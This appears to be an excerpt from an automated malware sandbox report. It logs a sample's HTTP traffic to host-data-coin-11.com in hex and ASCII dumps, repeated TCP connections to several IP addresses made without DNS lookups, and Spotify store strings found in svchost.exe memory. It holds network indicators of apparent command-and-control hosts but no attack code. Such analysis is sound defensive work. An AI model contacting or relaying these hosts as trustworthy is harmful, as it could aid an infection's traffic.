61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 06 Jan 2022 20:04:59 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 32 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 85 4f 13 25 1e e9 e9 df b7 82 16 95 2d ec 0d 0a 30 0d 0a 0d 0a Data Ascii: 22I:82OO%-0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 06 Jan 2022 20:05:00 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 35 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 46 e9 a1 88 70 bc 57 dd 43 d7 fd 24 84 27 ed c3 97 55 2a f8 e3 00 7e 0d 0a 30 0d 0a 0d 0a Data Ascii: 45I:82OR&:UPJ%9FpWC$'U*~0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 06 Jan 2022 20:05:05 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 06 Jan 2022 20:05:05 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 06 Jan 2022 20:05:06 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Source: unknown	TCP traffic detected without corresponding DNS query: 185.186.142.166
Source: unknown	TCP traffic detected without corresponding DNS query: 185.186.142.166
Source: unknown	TCP traffic detected without corresponding DNS query: 185.186.142.166
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171

Source: svchost.exe, 0000000E.00000003.781869272.0000022D91770000.00000004.00000001.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV equals www.facebook.com (Facebook)
Source: svchost.exe, 0000000E.00000003.781869272.0000022D91770000.00000004.00000001.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV equals www.twitter.com (Twitter)
Source: svchost.exe, 0000000E.00000003.781736596.0000022D91792000.00000004.00000001.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"MarketProperties":[{"RelatedProducts":[],"Markets":["US"]}],"ProductASchema":"Product;3","ProductBSchema":"ProductUnifiedApp;3","ProductId":"9NCBCSZSJRSB","Properties":{"PackageFamilyName":"SpotifyAB.SpotifyMusic_zpdnekdrzrea0","PackageIdentityName":"SpotifyAB.SpotifyMusic","PublisherCertificateName":"CN=453637B3-4E12-4CDF-B0D3-2A3C863BF6EF","XboxCrossGenSetId":null,"XboxConsoleGenOptimized":null,"XboxConsoleGenCompatible":null},"AlternateIds":[{"IdType":"LegacyWindowsStoreProductId","Value":"ceac5d3f-8a4f-40e1-9a67-76d9108c7cb5"},{"IdType":"LegacyWindowsPhoneProductId","Value":"caac1b9d-621b-4f96-b143-e10e1397740a"},{"IdType":"XboxTitleId","Value":"1681279293"}],"IngestionSource":"DCE","IsMicrosoftProduct":false,"PreferredSkuId":"0010","ProductType":"Application","ValidationData":{"PassedValidation":false,"RevisionId":"2022-01-04T23:02:18.6117645Z\|\|.\|\|bd0df296-9bc6-4c6c-99ce-75e0695eeef6\|\|1152921505694348672\|\|Null\|\|fullrelease","ValidationResultUri":""},"MerchandizingTags":[],"PartD":"","ProductFamily":"Apps","ProductKind":"Application","DisplaySkuAvailab
Source: svchost.exe, 0000000E.00000003.781736596.0000022D91792000.00000004.00000001.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"MarketProperties":[{"RelatedProducts":[],"Markets":["US"]}],"ProductASchema":"Product;3","ProductBSchema":"ProductUnifiedApp;3","ProductId":"9NCBCSZSJRSB","Properties":{"PackageFamilyName":"SpotifyAB.SpotifyMusic_zpdnekdrzrea0","PackageIdentityName":"SpotifyAB.SpotifyMusic","PublisherCertificateName":"CN=453637B3-4E12-4CDF-B0D3-2A3C863BF6EF","XboxCrossGenSetId":null,"XboxConsoleGenOptimized":null,"XboxConsoleGenCompatible":null},"AlternateIds":[{"IdType":"LegacyWindowsStoreProductId","Value":"ceac5d3f-8a4f-40e1-9a67-76d9108c7cb5"},{"IdType":"LegacyWindowsPhoneProductId","Value":"caac1b9d-621b-4f96-b143-e10e1397740a"},{"IdType":"XboxTitleId","Value":"1681279293"}],"IngestionSource":"DCE","IsMicrosoftProduct":false,"PreferredSkuId":"0010","ProductType":"Application","ValidationData":{"PassedValidation":false,"RevisionId":"2022-01-04T23:02:18.6117645Z\|\|.\|\|bd0df296-9bc6-4c6c-99ce-75e0695eeef6\|\|1152921505694348672\|\|Null\|\|fullrelease","ValidationResultUri":""},"MerchandizingTags":[],"PartD":"","ProductFamily":"Apps","ProductKind":"Application","DisplaySkuAvailab
Source: svchost.exe, 0000000E.00000003.781736596.0000022D91792000.00000004.00000001.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","SkuTitle":"Spotify - Music and Podcasts","Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","A equals www.facebook.com (Facebook)
Source: svchost.exe, 0000000E.00000003.781736596.0000022D91792000.00000004.00000001.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","SkuTitle":"Spotify - Music and Podcasts","Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","A equals www.twitter.com (Twitter)
Source: svchost.exe, 0000000E.00000003.781869272.0000022D91770000.00000004.00000001.sdmp	String found in binary or memory: ched\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","SkuTitle":"Spotify - Music and Podcasts","Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"ProductId":"9NCBCSZSJRSB","Properties":{"FulfillmentData":{"ProductId":"9NCBCSZSJRSB","WuCategoryId":"5c353b9c-7ac7-4d27-af07-923e7d9aa2e2","PackageFamilyName":"SpotifyAB.SpotifyMusic_zpdnekdrzrea0","SkuId":"0011"},"FulfillmentType":"WindowsUpdate","FulfillmentPluginId":null,"Packages":[{"Applications":[{"ApplicationId":"Spotify"}],"Architectures":["x86"],"Capabilities":["internetClient","runFullTrust","Microsoft.storeFilter.core.notSupported_8wekyb3d8bbwe"],"ExperienceIds":[],"MaxDownloadSizeInBytes":103460073,"MaxInstallSizeInBytes":201740288,"PackageFormat":"Appx","PackageFamilyName":"SpotifyAB.SpotifyMusic_zpdnekdrzrea0","MainPackageFamilyNameForDlc":null,"PackageFullName":"SpotifyAB.SpotifyMusic_1.174.631.0_x86__zpdnekdrzrea0","PackageId":"377324a7-6cb1-b0f7-9c77-af6e5647f10c-X86","PackageRank":30001,"PlatformDependencies":[{"MaxTested":2814750754275328,"MinVersion":2814750710366559,"PlatformName":"Windows.Desktop"}],"PlatformDependencyXmlBlob":"{\"blob.version\":1688867040526336,\"content.isMain\":false,\"content.packageId\":\"SpotifyAB.SpotifyMusic_1.174.631.0_x86__zpdnekdrzrea0\",\"content.productId\":\"caac1b9d-621b-4f96-b143-e10e1397740a\",\"content.targetPlatforms\":[{\"platform.maxVersionTested\":2814750754275328,\"platform.minVersion\":2814750710366559,\"platform.target\":3}],\"content.type\":7,\"policy\":{\"category.first\":\"app\",\"category.second\":\"Music\",\"optOut.backupRestore\":true,\"optOut.removeableMedia\":false},\"policy2\":{\"ageRating\":3,\"optOut.DVR\":false,\"thirdPartyAppRatings\":[{\"level\":9,\"systemId\":3},{\"level\":81,\"sy
Source: svchost.exe, 0000000E.00000003.781869272.0000022D91770000.00000004.00000001.sdmp	String found in binary or memory: ched\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","SkuTitle":"Spotify - Music and Podcasts","Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC